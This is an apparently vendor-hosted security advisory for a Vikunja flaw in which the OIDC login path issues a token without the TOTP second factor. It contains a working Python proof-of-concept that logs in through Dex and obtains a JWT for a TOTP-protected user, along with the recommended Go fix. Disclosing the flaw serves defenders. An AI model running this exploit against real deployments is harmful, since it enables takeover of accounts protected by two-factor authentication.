GHSA-8jvc-mcx6-r4cg is a high-severity (CVSS 7.4) Improper Authentication vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.
Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-8jvc-mcx6-r4cg.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-8jvc-mcx6-r4cg plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
code.vikunja.io/apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.
Details
The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:
return auth.NewUserAuthTokenResponse(u, c, false)
There are zero references to TOTP in the entire pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:
totpEnabled, err := user2.TOTPEnabledForUser(s, user)
if totpEnabled {
if u.TOTPPasscode == "" {
_ = s.Rollback()
return user2.ErrInvalidTOTPPasscode{}
}
_, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{
User: user,
Passcode: u.TOTPPasscode,
})
When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.
Proof of Concept
Tested on Vikunja v2.2.2 with Dex as the OIDC provider.
Setup:
- Vikunja configured with
emailfallback: truefor Dex - Local user
alice(id=1) has TOTP enabled
import requests, re, html
from urllib.parse import parse_qs, urlparse
TARGET = "http://localhost:3456"
DEX = "http://localhost:5556"
API = f"{TARGET}/api/v1"
# verify TOTP is required for local login
r = requests.post(f"{API}/login",
json={"username": "alice", "password": "Alice1234!"})
print(f"Local login without TOTP: {r.status_code} code={r.json().get('code')}")
# Output: 412 code=1017 (TOTP required)
# login via OIDC (same flow as VIK-020 PoC)
s = requests.Session()
r = s.get(f"{DEX}/dex/auth?client_id=vikunja"
f"&redirect_uri={TARGET}/auth/openid/dex"
f"&response_type=code&scope=openid+profile+email&state=x")
action = html.unescape(re.search(r'action="([^"]*)"', r.text).group(1))
if not action.startswith("http"): action = DEX + action
r = s.post(action, data={"login": "[email protected]", "password": "password"},
allow_redirects=False)
approval_url = DEX + r.headers["Location"]
r = s.get(approval_url)
req = re.search(r'name="req" value="([^"]*)"', r.text).group(1)
r = s.post(approval_url, data={"req": req, "approval": "approve"},
allow_redirects=False)
code = parse_qs(urlparse(r.headers["Location"]).query)["code"][0]
resp = requests.post(f"{API}/auth/openid/dex/callback",
json={"code": code, "redirect_url": f"{TARGET}/auth/openid/dex"})
print(f"OIDC login: {resp.status_code}")
user = requests.get(f"{API}/user",
headers={"Authorization": f"Bearer {resp.json()['token']}"}).json()
print(f"User: id={user['id']} username={user['username']}")
# TOTP was completely bypassed
Output:
Local login without TOTP: 412 code=1017
OIDC login: 200
User: id=1 username=alice
Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.
Impact
When an administrator enables OIDC with EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.
This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing email_verified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.
Recommended Fix
Add a TOTP check in the OIDC callback before issuing the JWT:
totpEnabled, err := user.TOTPEnabledForUser(s, u)
if err != nil {
_ = s.Rollback()
return err
}
if totpEnabled {
_ = s.Rollback()
return echo.NewHTTPError(http.StatusForbidden,
"TOTP verification required. Please use the local login endpoint.")
}
return auth.NewUserAuthTokenResponse(u, c, false)
Found and reported by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.vikunja.io/api | all versions | 2.3.0go get code.vikunja.io/api@v2.3.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code.vikunja.io/api to 2.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8jvc-mcx6-r4cg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-8jvc-mcx6-r4cg can be triaged on real exposure rather than presence alone.
Tailored to GHSA-8jvc-mcx6-r4cg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8jvc-mcx6-r4cg in your dependencies?
O3 Security finds GHSA-8jvc-mcx6-r4cg across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.